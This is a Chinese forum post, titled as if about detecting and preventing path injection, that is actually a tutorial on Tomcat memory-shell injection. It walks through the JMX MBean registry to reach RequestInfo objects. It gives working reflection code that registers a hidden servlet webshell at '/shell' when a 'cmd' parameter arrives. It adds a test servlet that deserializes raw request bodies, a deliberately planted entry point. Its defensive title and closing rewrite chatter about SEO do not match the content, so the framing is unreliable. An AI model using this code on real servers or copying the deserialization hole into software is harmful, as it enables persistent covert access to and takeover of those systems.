优化Tomcat源码以检测和防范请求路径注入

在前文中,我们主要探讨了在Tomcat中间件下如何通过寻找全局存储的request/response实现回显功能。然而,在Tomcat 7环境下,并不能直接获取到StandardContext对象。在此情况下,李三师傅在之前的基础上发现了在AbstractProtocol$ConnectionHandler#register方法中,不仅将获取到的RequestInfo对象存放在了global属性中,

图片[1]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛

还通过调用Registry.getRegistry((Object)null, (Object)null).registerComponent方法将RequestInfo对象进行了组件的注册流程。接下来,我们将深入研究registerComponent方法的调用过程。

针对传入的bean对象,首先通过其类型获取了一个ManagedBean对象,然后调用其createMBean方法创建了一个MBean对象,并最终调用了registerMBean进行MBean的注册。进一步跟进registerMBean方法,调用了mbsInterceptor属性的registerMBean方法进行注册,

图片[2]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛

其中mbsInterceptor属性即为DefaultMBeanServerInterceptor对象。

图片[3]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛

在registerObject方法中,调用了Introspector#makeDynamicMBean方法创建了一个动态的MBean,

图片[4]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛

随后调用了registerDynamicMBean方法进行动态MBean的注册,

图片[5]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛

最后通过registerWithRepository方法进行进一步的注册,其中调用了repository属性的addMBean方法进行MBean的添加。

图片[6]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛
图片[7]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛
图片[8]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛

在跟进过程中,首先会根据dom取出对应的信息,如果不存在,则会调用addNewDomMoi方法将这个Bean进行添加,传入了一个map对象,

图片[9]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛

其中包含了我们的RequestInfo的信息。通过IDEA的Evaluate来进行调试,可以发现Catelina(在Spring Boot内置Tomcat环境下应为Tomcat)与Tomcat相关的组件信息。其中的value值就是我们之前put进入的一个map对象,其中一个key值包含了我们需要的request/response对象。

图片[10]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛

在NamedObject对象中,我们能够找到所需的RequestInfo对象。

图片[11]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛

综上所述,我们获取request的流程大致为:首先通过反射一步一个获取到domainTb这个Map对象中key值为Catelina(或Tomcat)的value值,

图片[12]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛

然后从获取到的value对象中找到我们需要的RequestInfo类,从而获取到Request/Response对象。

图片[13]-优化Tomcat源码以检测和防范请求路径注入-山海云端论坛

基于以下思路,我们可以通过特定的代码段实现内存马的构造和回显:

// 获取JmxMBeanServer对象
MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer();
// 反射获取JmxMBeanServer对象的mbsInterceptor属性值,也即是DefaultMBeanServerInterceptor对象
Object mbsInterceptor = getField(mBeanServer, Class.forName(“com.sun.jmx.mbeanserver.JmxMBeanServer”).getDeclaredField(“mbsInterceptor”));
// 获取DefaultMBeanServerInterceptor中的repository属性
Object repository = getField(mbsInterceptor, Class.forName(“com.sun.jmx.interceptor.DefaultMBeanServerInterceptor”).getDeclaredField(“repository”));
// 反射获取Repository对象的domainTb这个Map对象
HashMap domainTb = (HashMap) getField(repository, Class.forName(“com.sun.jmx.mbeanserver.Repository”).getDeclaredField(“domainTb”));
// 获取该HashMap中有关于Catalina这个hashMap对象进而获取到了GlobalRequestProcessor
// 使用Tomcat启动服务
Object namedObject = ((HashMap) domainTb.get(“Catalina”)).get(“name=\”http-nio-8080\”,type=GlobalRequestProcessor”);
// 使用Springboot启动服务
// Object namedObject = ((HashMap) domainTb.get(“Tomcat”)).get(“name=\”http-nio-9999\”,type=GlobalRequestProcessor”);
// 从获取的NamedObject对象中反射获取他的object属性
Object object = getField(namedObject, Class.forName(“com.sun.jmx.mbeanserver.NamedObject”).getDeclaredField(“object”));
// object属性是一个BaseModelMBean对象,反射获取他的resource属性值
Object resource = getField(object, Class.forName(“org.apache.tomcat.util.modeler.BaseModelMBean”).getDeclaredField(“resource”));
// resource属性是一个RequestGroupInfo对象,反射获取他的processors属性值
ArrayList processors = (ArrayList) getField(resource, Class.forName(“org.apache.coyote.RequestGroupInfo”).getDeclaredField(“processors”));
// 遍历前面得到的ArrayList列表,获取想要的请求
for (Object processor : processors) {
// 强转为RequestInfo类型
RequestInfo requestInfo = (RequestInfo) processor;
// 反射获取对应的req属性
org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName(“org.apache.coyote.RequestInfo”).getDeclaredField(“req”));
// 筛选请求
if (req.getParameters().getParameter(“cmd”) != null) {
// 将req对象转为org.apache.catalina.connector.Request对象进行内存马的注入
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
// 获取对应的ServletContext上下文环境
ServletContext servletContext = request.getServletContext();
// 注入Servlet内存马的步骤
String name = “RoboTerh”;
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;

        // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
        while (o == null) {
            Field f = servletContext.getClass().getDeclaredField("context");
            f.setAccessible(true);
            Object obj = f.get(servletContext);

            if (obj instanceof ServletContext) {
                servletContext = (ServletContext) obj;
            } else if (obj instanceof StandardContext) {
                o = (StandardContext) obj;
            }
        }

        // 自定义servlet
        Servlet servlet = new TomcatMemshell3();

        // 用Wrapper封装servlet
        Wrapper newWrapper = o.createWrapper();
        newWrapper.setName(name);
        newWrapper.setLoadOnStartup(1);
        newWrapper.setServlet(servlet);

        // 向children中添加Wrapper
        o.addChild(newWrapper);
        // 添加servlet的映射
        o.addServletMappingDecoded("/shell", name);
    }
}

}

在上述代码中,我们首先通过反射的方式获取到了JmxMBeanServer对象,并从中获取到了DefaultMBeanServerInterceptor对象,然后通过一系列的反射操作,我们可以获得关于Catalina的信息,进而获取到了GlobalRequestProcessor。接着,我们筛选出包含特定参数的请求,将其转换为org.apache.catalina.connector.Request对象,并在其中注入了我们自定义的Servlet,以达到构造内存马的目的。

同时,为了验证注入是否成功,我们可以使用以下Servlet进行测试:

package com.roboterh.web;

import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.ObjectInputStream;

@WebServlet(“/unser”)
public class ServletTest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    try {
        java.io.InputStream inputStream = req.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

}

使用该Servlet进行测试后,如果成功获取到了请求的对象,就意味着内存马注入操作成功。

在测试过程中,需要确保环境能够支持内存马的注入。对于Spring Boot 2.5.0内置的Tomcat版本是9.x的情况,暂时无法通过该方式进行内存马的注入。因此,可以尝试使用Tomcat 8的容器进行搭建,或者寻找其他适合的环境。

这样的调整和优化有助于文章更清晰地表达构造内存马的过程,同时也更利于搜索引擎优化(SEO)。

希望这些修改能对你有所帮助,如果有任何疑问,请随时提出。

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容